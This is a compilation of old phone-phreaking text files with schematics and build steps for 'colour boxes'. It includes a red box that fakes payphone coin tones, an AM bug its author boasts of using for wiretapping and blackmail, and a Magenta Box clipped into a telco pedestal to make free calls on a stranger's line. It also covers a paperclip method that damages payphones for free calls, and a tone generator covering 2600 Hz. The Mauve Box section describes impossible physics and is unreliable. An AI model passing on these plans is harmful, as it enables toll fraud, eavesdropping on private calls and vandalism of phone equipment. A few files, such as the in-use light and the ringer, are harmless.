ALIGNMENT AND TESTING + --------------------- + + For alignment, a frequency counter and tiggered sweep oscilloscope +are extremely handy (but not absolutely necessary.) + Install a temporary jumper from +9v supply to pin 14 of IC2 and +temporarily disconnect the 0.01uF capacitors from pins 5 and 9 of IC2. +Power up the circuit. Measuring the output from pin 5 of IC2 with the +frequency counter, adjust the 20k pot between pins 1 and 6 for an output +of 1700hz. Now adjust the 20k pot between pins 8 and 13 for an output +of 2200hz from pin 9 of IC2. Remove the temporary jumper and re-attach +the capacitors to pins 5 and 9. (Note: if no frequency counter is +available, the outputs can be adjusted by ear one at a time by +zero-beating the output tone with a computer generated tone of known +precision.) + Next, temporarily disconnect the wire between pins 5 and 10 of IC1. +Set coin selector switch in the "N" (nickel) position. With the +oscilloscope measuring the output from pin 9 of IC1, adjust the 50k pot +between pins 12 and 13 of IC1 for output pulses of 60 millisecond +duration. Reconnect the wire between pins 5 and 10. (Note: If no scope +is available, adjust the pulse rate by ear using computer generated +tones for comparison.) + The remaining adjustments are made by ear. + Leave the selector switch in the "N" position. Adjust the 50k pot +labelled "Dime" for a quick double beep each time the pushbutton is +pressed. + Finally, set the selector to "Quarter". Adjust the 50k pot labelled +"Quarter" until exactly 5 very quick beeps are heard for each button +press. Don't worry if the quarter beeps sound shorter and faster than +the nickel and dime ones. They should be. + + + CONCLUSION + ---------- + + If all went well to this point, your red box should be completely +aligned and functional. A final test should now be conducted from a +payphone using the DATL (dial access test line) coin test. Dial +09591230 and follow the computer instructions using the red box at the +proper prompts. The computer should correctly identify all coins +"simulated" and flag any anomalies. With a little discretion, your red +box should bring you many years of use. Remember, there's no such thing +as spare change.! + + + Parts list for Red Box + ---------------------- + +Semiconductors +-------------- +(2)556 dual timer +(1)741 Op Amp +(1)1N914 Switching Diode + +Resistors +--------- +(6)10k (1)4.7k +(2)100k +(4)50k PC Mount Potentiometer +(2)20k Multi-Turn Potentiometer + +Capacitors +---------- +(10)0.01uF (1)1.0uF +(2)10.0uF Electrolytic + +Miscellaneous +------------- +(2)14 Pin Dip Socket +(1)8 Pin Dip Socket +(1)3-position Rotary Switch +(1)Momentary Push-Button Switch(normally open) +(1)SPST Toggle Switch +(1)Speaker or Telephone Earpiece Circuit Board +Box +Mounting Hardware +9v Battery Clip + + SCHEMATIC DRAWING + ----------------- + / + ÚÄÄS1Ù ÄÄÂÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + +9v R1 R2 ³ ³ ³ ³ + ÃÄÄÄC1ÄÄÄÄ´ ³ R3 ³ ³ + ³ ³ ÚÄÄÄ´ ÃÄÄÄÄÂÄC2Ä@q S3 @n ³ + o ÚÄÄÄÁÄÄÄÄÁÄÄÄÁÄÄÄ¿ ³ R5 ³ @d ³ ³ + oÄ´ ³ 6 4 14 ³ R4 ³ ³ ³ ÃÄÄ¿ ³ + S2 o ÚÄ´5 13ÃÄÄÄÄ´ g ³ ÃÄÄÄ¿ ³ ³ ³ + ³ ³ ³ ³ ³ ³ ³ ³ R9<ÄÙ ³ + g ÀÄ´10 (IC1556) 8ÃÄ¿ R6<Ä¿ ³ R8<ÄÄÙ ³ ³ + ³ ³ ³ ³ ³ ³ ³ ³ ³ + ÚÄÄÄÄ´9 12ÃÄÁÄÄÅÄÄÙ ÃÄÄ¿ ³ ³ ³ + ³ ³ 3 11 7 2 1 ³ C3 ³ ³ ³ ³ ³ + ³ ÀÄÂÄÄÂÄÄÄÂÄÄÂÄÄÂÄÙ ³ R7<ÄÙ ³ ³ ³ + ³ ³ ³ ³ ÀÄÄ´ g ³ ³ ³ ³ + ³ C4 C5 ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÄÙ ³ + ³ ³ ³ ³ C6 ³ + ³ ³ ³ ³ ³ ³ + ³ g g g g ³ + ³ ³ + ÀÄÄÂÄÄÄÄÄÂÄÄÄÄÄÄÄ¿ ³ + R11 ³ R12 ÚÄÄÄ¿ ³ + ÚÄÄ¿ ³ ³ ³ ³ v ³ + v ³ ³ ÚÄÄÅÄÄ¿ ÃÄÄÄÄÁÄÄR13ÄÄ¿ ³ + ÚÄÄÄR10ÄÁÄÄ´ ³ ³ ³ ³ ³ ³ + ³ ÚÄÁÄÄÁÄÄÁÄÄÁÄÄÄÄÁÄÄÄÄ¿ ³ ³ + ³ ³ 1 4 14 10 13 ³ ³ ³ + ³ ³ 8ÃÄÄÂÄÄÄÄ´ ³ + ÃÄÄÄÄÄÄÂÄ´6 ³ ³ C12 ³ + ³ ³ ³ 12ÃÄÄÙ ³ ³ + ³ ÀÄ´2 IC2 556 ³ ³ ³ + C7 ³ ³ g ³ + ³ ÚÄÄ´3 11ÃÄÄÄÄÄ¿ ³ + ³ ³ ³ 7 5 9 ³ ³ ³ + g C8 ÀÄÄÄÄÂÄÄÄÂÄÄÄÂÄÄÄÄÄÄÄÙ C11 ³ + ³ ³ C9 C10 ³ ³ + ³ ³ ³ ³ g ³ + g ³ ÀÄÂÄÙ ³ + g ³ ³ + ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + ³ ³ ³ + ³ R14 ³ + ³ ³ ³\ ³ + ³ ³ ³ \ ³ + ÃÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄij3 \³ + ³ ³ ³ 7 \ + C13 R15 ³IC3 \ + ³ ³ ³741 6/ÄÄÄÄÄÄ¿ + ³ ³ ³ 4 / ³ + ³ ³ ³ / ³ + g g ÚÄÄ´2 / ³ ³ + ³ ³/ ³ ³ + ³ g ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ + C14 + ³ + Speaker + ³ + g + + + Schematic part variables list. + ------------------------------ + +Resistors +--------- +R1 - 10k R2 - 10k R3 -4.7k R4 - 10k R5 - 10k R6 - 50k +R7 - 50k R8 - 50k R9 - 50k R10- 20k R11- 10k R12- 10k +R13- 20k R14-100k R15-100k + + +Capacitors +---------- +C1 - 0.01uf C2 - 1N914 switching Diode C3 - 1.0uf C4 - 0.01uf +C5 - 0.01uf C6 - 10uf C7 - 0.01uf C8 - 0.01uf C9 - 0.01uf +C10 - 0.01uf C11 - 0.01uf C12 - 0.01uf C13 - 0.01uf C14 - 10uf + +Switches +-------- +S1 - SPST toggle +S2 - Momentary push button N.O. labeled "Deposit" +S3 - 3-position rotary switch + + +Miscellaneous +------------- +g - Ground +@q - Label "quarter" +@d - Label "dime" +@n - Label "nickle" + + +Typed up by Sine Wave from an article which originally appeared in 2600 +magazine. The original contained several mistakes in the schematic +drawing which i've corrected. Hope this information enlightens you to +new and exciting possibilities via your local phone booth. + + + + + How to make an in-use light + from the Night Owl AE + + + This file describes the operation and construction of a device that will + signal whether or not an extension of a particular phone line is off-hook. It + does NOT indicate whether or not a phone is being tapped, and will light + whenever any extension is picked up. + + The principle under which this device operates is that there is a voltage + across the red and green wires of the phone line (the other wires are rarely + used) that drops significantly when an extension is lifted. Though this + voltage can be used to power a light on its own, the light would have to be of + a very low power consumption in order not to keep the phone off-hook, and it + would only light when the phone is on-hook. + + A simple way to get around the above problem is to use a low current relay. + Radio Shack sells some nice 12VDC SPDT relays that work well for this purpose. + Don't buy the reed relays or the subminis; though you want a low current coil, + you also want the contacts to be able to handle a decent current. DPDT + (double pole, double throw) will also work, you just won't use the other + contacts. + + For a 12 volt coil, the voltage will have to be dropped so that the relay will + function properly. The proper resistance is around 10K ohms, but it is best + to use a 5K ohm fixed resistor and a 10K ohm variable (standard values, any + combination that can cover the 10K range will work fine). Adjust it to + approximately 10K, or halfway for the combination above. Connect the + resistors in series with the coil, and we'll adjust it later. + + Due to the nature of this device (or rather, its simplicity) it will operate + without having to be plugged into a phone, or vice versa. In other words, you + can plug it directly into a jack anywhere, and it'll work. You'll want to get + a modular plug that terminates in spade lugs for this purpose. Connect the + green wire to one side of the coil, and the red to the resistors (so that it's + all in series). If you don't have an extra phone jack, then you will want to + a) buy a Y connector so that two phones can be plugged into the same jack, or + b) get another phone jack and install it in the same box with the in-use + light, so that you can plug a phone into it. Just connect the spade lugs to + their respective colors. + + For the light itself, you can use almost anything. Even a tiny light bulb and + a battery will work fine, but after about 5 hours of phone use, you'll have to + replace the battery. The best thing to use is a neon bulb powered by the 110V + power available most places. Buy ones with dropping resistors, or use a 220K + resistor for dropping. You should also get a panel lamp assembly to keep it + steady and make it look pretty. Since the current is relatively low, you can + use almost any power cord, or sacrifice an old extension cord. Connect it in + series with the NC (normally closed) contacts of the relay (in series with the + dropping resistor, of course). + + Your circuits should now look like this: + / + --------RED----!---- 5k --- 10k -------O O-------------------!-----110V + / | | + coil NC / + | | + -------GREEN---!-----------------------O O-- bulb --- 220k --!-----110V + + Make sure that the phone circuit (left) and the lamp circuit (right) are + totally 100% separate, and in no danger of touching. Use wire nuts for all + connections in 110V that are not to a terminal post, and tape them. For all + wires that are exposed, use electrical tape or shrink-wrap tubing to insulate + them. Glue the relay to the box or mount it on a stable PC board. + + If all looks well, hook it up. It should work immediately, but there are + three things that can go wrong: 1) The relay keeps the phone off the hook. + To remedy this, lower the resistance until it doesn't. If you can't lower the + resistance enough, then you are using a resistor with a high current coil and + you'll have to get one with a lower rating. 2) The relay won't close. The + solution for this is the same as number 1. 3) The relay stays closed. Raise + the resistance with the phone on hook until the light goes off. + + When all is working, the lamp should be on when one or more extensions are + off-hook, and will be off when all extensions are on-hook. It will blink when + the phone rings. + + This is a parts list: + + 1 box. Make it a nice one, preferably one with feet. + 1 phone cord with a modular plug at one end and spade lugs at the other. + 1 phone jack or Y adapter (optional). + 1 power cord or old extension cord. + 1 low current coil relay, double throw. + 1 5K fixed resistor. + 1 10K variable resistor. + 1 neon bulb with dropping resistor. + 1 panel lamp assembly. Some come with bulbs. + + That's it. You may trade this file however you wish. + + + + + + +%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%> +%> <%> +%> Making the <%> +%> <%> +%> Lunch Box <%> +%> ===== === <%> +%> <%> +%> Written, Typed and Created by: Dr. D-Code <%> +%> <%> +<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%>^<%> + +Introduction +=========== + +The Lunch Box is a VERY simple transmitter which can be handy for all sorts of +things. It is quite small and can easily be put in a number of places. I have +successfully used it for tapping fones, getting inside info, blackmail and +other such things. The possibilities are endless. I will also include the plans +or an equally small receiver for your newly made toy. Use it for just about +anything. You can also make the transmitter and receiver together in one box +and use it as a walkie talkie. + +Materials you will need +====================== + +(1) 9 volt battery with battery clip +(1) 25-mfd, 15 volt electrolytic capacitor +(2) .0047 mfd capacitors +(1) .022 mfd capacitor +(1) 51 pf capacitor +(1) 365 pf variable capacitor +(1) Transistor antenna coil +(1) 2N366 transistor +(1) 2N464 transistor +(1) 100k resistor +(1) 5.6k resistor +(1) 10k resistor +(1) 2meg potentiometer with SPST switch + Some good wire, solder, soldering iron, board to put it on, box (optional) + +Schematic for The Lunch Box +=========================== + +This may get a tad confusing but just print it out and pay attention. + + [!] + ! + 51 pf + ! + ---+---- ------------base collector + ! )( 2N366 +----+------/\/\/----GND + 365 pf () emitter ! + ! )( ! ! + +-------- ---+---- ! ! + ! ! ! ! ! + GND / .022mfd ! ! + 10k\ ! ! ! + / GND +------------------------emitter + ! ! ! 2N464 + / .0047 ! base collector + 2meg \----+ ! ! +--------+ ! + / ! GND ! ! ! + GND ! ! ! + +-------------+.0047+--------------------+ ! ! + ! +--25mfd-----+ + -----------------------------------------+ ! ! + microphone +--/\/\/-----+ + ---------------------------------------------+ 100k ! + ! + GND---->/<---------------------!+!+!+---------------+ + switch Battery + from 2meg pot. + + +Notes about the schematic +========================= + +1. GND means ground +2. The GND near the switch and the GND by the 2meg potentiometer should be + connected. +3. Where you see: )( + () + )( it is the transistor antenna coil with 15 turns of + regular hook-up wire around it. +4. The middle of the loop on the left side (the left of "()") you should run + a wire down to the "+" which has nothing attached to it. There is a .0047 + capacitor on the correct piece of wire. +5. For the microphone use a magnetic earphone (1k to 2k). +6. Where you see "[!]" is the antenna. Use about 8 feet of wire to broadcast + approx 300ft. Part 15 of the FCC rules and regulation says you can't + broadcast over 300 feet without a license. (Hahaha). Use more wire for an + antenna for longer distances. (Attach it to the black wire on the fone + line for about a 250 foot antenna!) + +Operation of the Lunch Box +========================== + +This transmitter will send the signals over the AM radio band. You use the +variable capacitor to adjust what freq. you want to use. Find a good unused +freq. down at the lower end of the scale and you're set. Use the 2 meg pot. to +adjust gain. Just fuck with it until you get what sounds good. The switch on +the 2meg is for turning the Lunch Box on and off. When everything is adjusted, +turn on an AM radio adjust it to where you think the signal is. Have a friend +lay some shit thru the Box and tune in to it. That's all there is to it. The +plans for a simple receiver are shown below: + +The Lunch Box receiver +====================== + +(1) 9 volt battery with battery clip +(1) 365 pf variable capacitor +(1) 51 pf capacitor +(1) 1N38B diode +(1) Transistor antenna coil +(1) 2N366 transistor +(1) SPST toggle switch +(1) 1k to 2k magnetic earphone + +Schematic for receiver +====================== + + [!] + ! + 51 pf + ! + +----+----+ + ! ! + ) 365 pf + (----+ ! + ) ! ! + +---------+---GND + ! + +---*>!----base collector----- + diode 2N366 earphone + emitter +----- + ! ! + GND ! + - + + + - battery + + + GND------>/<------------+ + switch + +Closing statement +================= + +This two devices can be built for under a total of $10.00. Not too bad. Using +these devices in illegal ways is your option. If you get caught, I accept NO +responsibility for your actions. This can be a lot of fun if used correctly. +Hook it up to the red wire (I think) on the fone line and it will send the +conversation over the air waves. + + + + HOW TO BUILD AND USE A MAGENTA BOX. + + Designed and Written by Street Fighter. + +First of all I named this the Magenta Box because all of the +fags that made boxes, whose only purpose is adding a hold +button to your phone, used all of the fucking colors. I can +afford a fucking piece of shit Radio Shack 2-line phone with +hold. A box's purpose is to mess with the Telco., not to add +a fucking hold button to your phone. Anyway I will get on with +this. + +PARTS LIST: + SPDT Miniature PC RELAY (about 9v, 500 ohm) + DPDT Miniature PC RELAY (about 6v, 500 ohms, 12 mA) + 2000 or so uF electrolytic capacitor + 1 meg resistor + .01 uF capacitor +   2 555 timer chip + 2 diodes (1N914) + 10 K resistor + 1 K resistor + 9 volt battery -w- clip + Pc Board + 4 alligator clips + some kind of a box (small) + some 20 or 22 gauge wire to work with. + +If you don't know how to put together a project by looking at a +schematic, then isn't the project to start with. I would ask someone +with some electronics knowledge to give you a helping hand. This +has to be put together on a pc-board. +Enough talk, now the schematic: + + + + +9v + ^ + | + +---------------+----+----------------+ + | |8 |4 | + | ------------ | + / | |3 | |--| + \ | |-------------------->|---+------|\ | + 1 Meg / R1 | | | | C| \| + (1000K)\ | | | - O|\ | + | | 555 | \ ^ I| \| + | | chip | 10 K / | L|\ | + | 7| | \ +------| \| + +------------| | / | |--| + | 6| |2 | | + +------------| |-------------+-------+ | NC + | ------------ | | +-o o o--< + | |1 |5 --------o NC | | | TIP #2 + | | | --___ | | | NC + + | | | ---o---+ | | | o o o--< + --- | ---.01 uF | | | | | RING #2 +2000 uF -^- C1 | -^- --------o-- | --+ | | | +*see note | | | | | | | + | | | +-------|--|C | | | | + | | | | |\ |O +---+ | | | + | | | | | \|I | | | | + | | | | +---|--|L | | | | + +-------------+---+-------------------+-----------+ | | + | | | | | + ----- | +-----------+-------------+ | + --- | | | + - +--/\/\/\----------+------------+ + GROUND 4.7K | | + 9V | | + | +------------< RING #1 + | + | + +---------------< TIP #1 + + + + K E Y + ~~~~~ + +NC - Normally Closed + +--< - Alligator Clip + +--- +-^- Capacitor + +->|- Diode + + | + - + ^ Diode + | + + +o o o + Contacts on relay. DPDT +o o o + + + +--------o + + ___---o Contacts on relay. SPDT +-- +--------o + + +-/\/\/\- Resistor + + + | + / + \ Resistor + / + | + + +Whew! Well, the schematic explains almost everything. It would be +helpful to you if you used one color for the line #1 clips and another +for the line #2 clips. It will work even if you get the ring and tip +mixed up, but you must get all of the clips on the right line. But, +to be safe, you could put tags on each clip labeling it RING #1, TIP #2, +ect. + +Installation. Find one of those green posts that are about 3 feet high. +They are everywhere. Get a socket wrench to open it up. There will +be (a) row(s) of paired up posts. Each pair of posts represents a line. +YOU *MUST* KNOW THE NUMBER OF LINE #1. Sometimes the number is tagged +on to the pair of wires leading up to the posts, if so pick these posts +as your line #1. Then you can pick any other set of posts for line #2. + +Now to the good part. Use of the the final product. When you call up +line one from your house you will get a dial tone almost immediately. +Using DTMF you can dial anywhere that the person who owns line 2 has +service to. Which means you can direct dial alliance, Australia, and +your favorite BBS for FREE. + +The Telco. will undoubtably discover the device after 2 days, so post +the number on your favorite boards so you can abuse it while it is in +service. With a 2000 uF capacitor and a 1 meg resistor you will +get a 50 minute call before it disconnects you. By lowering the value +of the resistor and capacitor you can change the time to your taste. +So don't dial a wrong number, because you will have to wait 50 minutes +until it resets again. The formula for the time is the following: + +2*R1 C1 C1 is in microfarads +---- * ---- R1 is in Kohms +100 10 See schematic for location of R1 and C1. +----------- = Minutes + 60 + +The time produced by this formula is only approximate. + +Well, that is one of the more complicated boxes to build. But it +is very useful and will pay for itself with its first use. It +would be wise to remove it before the Telco. finds it so you won't +have to make another, or install it on a line that belongs to a +family that is on vacation (GOOD IDEA) + +Well, there it is. I hope it saves you a lot of cash. + + + + + + _________________________ + /~~~~~~~~~~~~~~~~~~~~~~~~~\ + | How to Build Your Own | + | | + | |\ /| _ __ | + | | \/ | |_| | | | | |__ | + | | | | | |_| \/ |__ | + | __ | + | | \ _ | + | |__/ / \ \_/ | + | | \ \_/ / \ | + | |__/ / | + | _________/ | + | | + \_________________________/ + ~~~~~~~~~~~~~~~~~~~~~~~~~ + + ____________________________ + | Created by Captian Generic | + | With Help from The Genetic | + | Mishap. This File Created | + | November 24th, 1986, 19:08 | + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + + Please bear with me, as the construction of this box will seem rather + silly. This box was found in a construction site. Or rather, it found + us at a construction site. We were using a $5 Radio Shack phone out of + a semi-completed office building. One afternoon during a holiday, and + immediately following a storm, we found our bus in shambles. To our + suprise, we also found that one of the phone connections we were tapping + had been draped through a murky puddle. The fact that suprised us even + more was that this line still worked and now posessed some great + capibilities. + + +Materials: + +2 tupperware or similar 8oz contianers +1 small bag earth (dirt) (12oz) +1 pint water +2 lantern batteries +1 nine volt battery +1 battery clip +2 SPST switches +4 ounces of iron shavings +2 polar magnets +5 feet wire +1 set soldering equipment + + + This is the part you won't believe. Take the tupperware containers, and + fill them with a mixture of the earth and the iron shavings. Make sure + that the mixture is well done. (*NOTE* for best results, use the sand in + fine ash trays.) Cut the cut the red and green wires and splice the + switches into them. From the switches, solder wire to the magnets. + Connect the red to the + (positive) side of one magnet, and the green to + the - (negative) side of the second magnet. From the other poles of the + magnet, solder wires the battery & clip. Make sure the + (positive) and + - (negative) are correct. Set the nine-volt battery between the two + tupperware containers and place the battery end of the two magnets into + the tupperware. Now connect wire to the two poles of the lantern + battery, and place them in the same containers as the poles of the + magnets/9-volt battery. You are almost done. Finally, add just enough + water to the two pots, and let them sit in the sun and bake like bricks. + at this point, you have a MAUVE BOX. + + + +Explaning and Using What You Have: + + The red and green wires have been places into a magnetic field which is + being charged continually be a lantern battery. (It is necessary to + change this battery every one to one and a half months.) This will + literaly pull in the nearest phone conversatiion. (Don't try this in a + big apartment or dorm.) When the 9-volt battery is connected, this will + now create enough current for the poles of the magnets to reverse + themselves (perhaps you're seen Mr. Wizard do this. It's just like with + the soap). At this point, you have a phone transmitting to one (if not + more) of the nearest phones. (Again, if you're in a dorm, don't try + this.) I suppose this just accomplishes what a tap would do, but with a + MAUVE BOX, your fingerprints never will show on a terminal or on + someones telephone lines. + + +Notes and Addendum: + + This will only work with a touch-tone phone connected to a phone line. + When the switches are pulled, it's off your line and into the air. This + is named a MAUVE BOX, becuase this is the most disgusting box, and I find + mauve to be the single most disgusting colour I know of. Also, this file + is for information purposes only. This is not to be used in an illegal + mannar. Perhaps one of these by the pool, sending to your sethe co-author, accept no + responsibility for your actions with the MAUVE BOX. Thank you... + + + + + + + -------------------------------------- + THE NEON BOX + -------------------------------------- + +A neon box is a very simple adjustment to your fone, that will allow a very +clear passage from your computer tones to your fone. It also works great for +recording tones, sex fone, or anything else you want to record off of your +fone. + Tools: + ------ +This modification is very simple, and can be used on most fones, though it +is more difficult on one-piece units. All you need is an old pair of +headphones, or similiar,a phillips screwdriver, a soldering iron and some +solder. + Instructions + ------------ +Open your fone with the screwdriver. When opened, look for the red and +black wires that lead to the mouthpiece. (If you're not sure which +wires lead to the mouthpiece, open up the mouthpiece and find the same +color wires on the base. For one-piece units, just locate the louthpiece). + +When you have found the mouthpiece, or wires. cut the ears of the head- +fones off, and one wire (The one that leads to the right ear). Strip the +left wire so about an eighth inch is showing. Keep the other side intact. + +Then on the red wire. solder the wire that is seperatly sealed from the +other one. On the black wire (these are the ends of the wire on the circuit +board) solder the wire wrapped around the other wire. The solder a hole for the +wire. You now have a neon box. + + + + + + +(>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<) +(> <) +(> Olive Box Plans <) +(> <) +(>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<) + + This is a relatively new box, and all it basically does is serve as a phone +ringer. You have two choices for ringers, a piezoelectric transducer (ringer), +or a standard 8 ohm speaker. The speaker has a more pleasant tone to it, but +either will do fine. This circuit can also be used in conjunction with a rust +box to control an external something or other when the phone rings. Just connect +the 8 ohm speaker output to the inputs on the rust box, and control the pot to +tune it to light the light (which can be replaced by a relay for external +controlling) when the phone rings. + + ______________ + | | ^ + NC --|-- 5 4 --|-----/\/\/------->G + | | / R2 +G<----)|----|-- 6 3 --|-- NC + | C3 | U1 | + -------|-- 7 2 --|---------- --- -- - > TO RINGER + | | + ----|-- 8 1 --|-- + | |______________| | + | ---/\/\/----|(----- L1 + | R1 C1 + ------------------------------------------ L2 + + a. Main ringer TTL circuit + +(>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<) + + _ +FROM PIN 2 < - -- --- ----------| |_| |------------->G + P1 + + b. Peizoelectric transducer + +(>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<) + + __ /| +FROM PIN 2 < - -- --- ---------|(---------. .-------| |/ | + >||< |S1| | + >||< --| | | + >||< | |__|\ | + G<---------.>||<.--- \| + T1 + c. Elctro magnetic transducer +Parts List +---------- + +U1 - Texas Instruments TCM1506 +T1 - 4000:8 ohm audio transfomer +S1 - 8 ohm speaker +R1 - 2.2k resistor +R2 - External variable resistor; adjusts timing frequency +C1 - .47uF capacitor +C2 - .1uF capacitor +C3 - 10uF capacitor +L1 - Tip +L2 - Ring + L1 and L2 are the phone line. + + +Shift Rate: +----------- + + This is the formula for determining the shift rate: + + 1 1 + SR = --------------------- = ------------ = 6.25 Hz + (DSR(1/f1)+DSR(1/f2)) 128 128 + ---- + ---- + 1714 1500 + + + DSR = Shift Devider Rate ratio = 128 + f1 = High Output Frequency = 1714 + f2 = Low Output Frequency = 1500 + + + + + +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ +$$ $$ +$$ ***************** $$ +$$ * How to make a * $$ +$$ ***************** $$ +$$ $$ +$$ <> Pearl Box <> $$ +$$ $$ +$$ Written and created by: Dr. D-Code $$ +$$ $$ +$$ (Sysops may use this information if it's not altered in any way at all) $$ +$$ $$ +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ +[ +The Pearl Box:Definition - This is a box that may substitute for many boxes +which produce tones in herts. The Pearl Box when operated correctly can pro- +duce tones from 1-9999hz. As you can see, 2600, 1633, 1336 and other crucial +tones are obviously in its sound spectrum. + +Materials you will need in order to build The Pearl Box: +======================================================== +C1, C2::::::::.5mf or .5uf ceramic disk capacitors +Q1::::::::::::NPN transistor (2N2222 works best) +S1::::::::::::Normally open momentary SPST switch +S2::::::::::::SPST toggle switch +B1::::::::::::Standard 9-Volt battery +R1::::::::::::Single turn, 50k potentiometer +R2:::::::::::: " " 100k potentiometer +[R3:::::::::::: " " 500k potentiometer +R4:::::::::::: " " 1meg potentiometer +SPKR::::::::::Standard 8-ohm speaker +T1::::::::::::Mini transformer (8-ohm works best) +Misc.:::::::::Wire, solder, soldering iron, PC board or perfboard, box to + contain the completed unit, battery clip + +Instructions for building The Pearl Box: +======================================== + +Since the instruction are EXTREMELY diffucult to explain in words, you will be +given a schematic instead. It will be quite diffucult to follow but try it any +way. There is also a Hi-Res picture you can get that shows the schematic in +great detail. + +[ (Schematic for The Pearl Box) + + +-------------+------------+---------+ + ! ! \ +--S1---- + C1 C2 \ SPKR + ! ! + +-------- + + + ----+T1 + + !\ +---------------+------+ + ! b c-------! + ! Q1 ! + ! e-----S2---+ ! + ! ! ! + ! B1 ! + ! ! ! + ! +-------+ +[ !R1 R2 R3 R4! + /\/\ /\/\ /\/\ /\/\ + +--+ +--+ +--+ + +Now that you are probably thourghly confused, let me explain a few minor de- +tails. The potentiometer area is rigged so that the left pole is connected to +the center pole of the potentiometer next to it. The middle terminal of T1 is +connected to the peice of wire that runs down to the end of the battery. + +Correct operation of The Pearl Box: +=================================== +You may want to get some dry-transfer decals at Radio Shack to make this job +alot easier. Also, some knobs for the tops of the potentiometers may be useful +too. Use the decals to calibrate the knobs. +R1 is the knob for the ones place, R2 is for the tens place, R3 if for the +[hundreds place and R4 is for the thousands place. S1 is for producing the all +the tones and S2 is for power. +Step 1: Turn on the power and adjust the knobs for the desired tone. + (Example: For 2600 hz- R1=0:R2=0:R3=6:R4=2) +Step 2: Hit the pushbutton switch and VWALA! You have the tone. If you don't + have a tone recheck all connections and schematic. + + + ************************************************** + * +++++ ++ ++++ ++ +++++ ++++++ ++ ++ * + * ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ * + * +++++ ++ ++ ++ ++ ++++++ ++ ++ +++ * + * ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ * + * ++ ++ ++ ++++ ++++++ ++++++ ++ ++ * + ************************************************** + By: Fugazi/(I)nte(G)rit(Y) 1992 + Internet: 71062.1560@COMPUSERVE.COM + +Disclaimer: +I take no responsability for the way this document is used. This document is +for informational purposes only. The FIRST AMMENDMENT of the CONSTITUTION of +the UNITED STATES of AMERICA gives me the right to publish this text. + +Supplies: + +1 unfolded paperclip +1 nail or something equal +1 piece of 1 inch electrical tape + +Use: + +This is one of the most simplest but most handy tools of the trade. It has +been passed down for years and now I wrote a text file one it because most that +I have read about this are very scetchy and incomplete. + +This "BOX", which really isn't anything electrical at all, will enable you to +make a free local (not sure about Long Distance) phone call from MOST bell pay +phones. + +Instructions: + +1) Unfold the paperclip so it is a straight wire, then wrap the middle of the + unfolded paperclip with the tape. As shown in Fig. 1 + +Fig. 1 +------======------- +^Wire ^Tape + +2) To identify what phone to use look for the little holes next the the "25" + by the coin slot, or below the keypad under the "0". As shown in Fig. 2 + +Fig. 2 +=========== / = Coin Slot += / = o = Hole += o = || = Coin Return += 123 = += 456 = += 789 = += *0# = += o = +=========== += || = +=========== + +3) Now you must take the handset of the phone and puncture the metal guard + inside the microphone with a nail or any other sharp pointed narrow object. + Becareful not to puncture the objects below the metal plate/guard. The best + place to do this is through the BOTTOM MOST hole on the microphone as shown + in Fig. 3 + + + +Fig. 3 + +Microphone End + + +++ X = Where to punch through + ++ooooo++ + ++ooooooo++ + ++ooooooo++ + ++ooXoo++ + +++ + +4) Now connect the handset to the phone as shown in Fig. 4 by using the + paperclip. To do this you must insert the paperclip into the hole you + created in the handset and then insert the other end of the paperclip into + the hole on the phone. Make sure you hold onto the tape on the paperclip. + You should see some small sparks when you connect them. + +Fig. 4 + +======= +++ +======= +++ +======= + +======= +++ +=======--+++ +======= +======= + +5) Now dial the number while these are connected and hold the connection for + about 5 seconds after dialing. Then pick the phone up and take out the + paperclip and well free phone call!... + + + + +=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\= +=/=> How To Build A Pink Box <=\=/=\=/=\=/=\=/=\=> Written By Baba O'Riley <=\= +=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\= + + The function of a Pink Box is to add a hold button that allows music or +anything else to be played into the telephone while the person is on hold. +This box can either be built right in the telephone or as a seperate box. + +\=/=\=/=\=/=\=/=\=/=\=/=\=/=> Materials Needed <=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\ + + some Bell wire or phone wire + a SPST momemtary switch RS # 275-1547 + one resistor, 470 ohms RS # 271-019 + one LED, 5 volts RS # 276-041 + one SCR, number 2N5061 + audio transformer (Ratio 10K:600) + RCA phono jack RS # 274-346 + screwdrivers, soldering iron, solder, etc. + +/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=> Construction <=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/= + + 1. Open the wall box and locate the RED and GREEN wires. + 2. Take a piece of RED wire, strip the end, and attach it to the red lead on + the wall box. Do the same for the GREEN. + 3. Connect the GREEN wire to the ANODE end of the LED. + 4. Connect the CATHODE end of the LED to the UPPER pin of the primary side of + the transformer (See diagram below). + _____ + To one phono pole ---! Top !--- To CATHODE of LED + -!View !- Primary side + To other phono pole ---!_____!--- 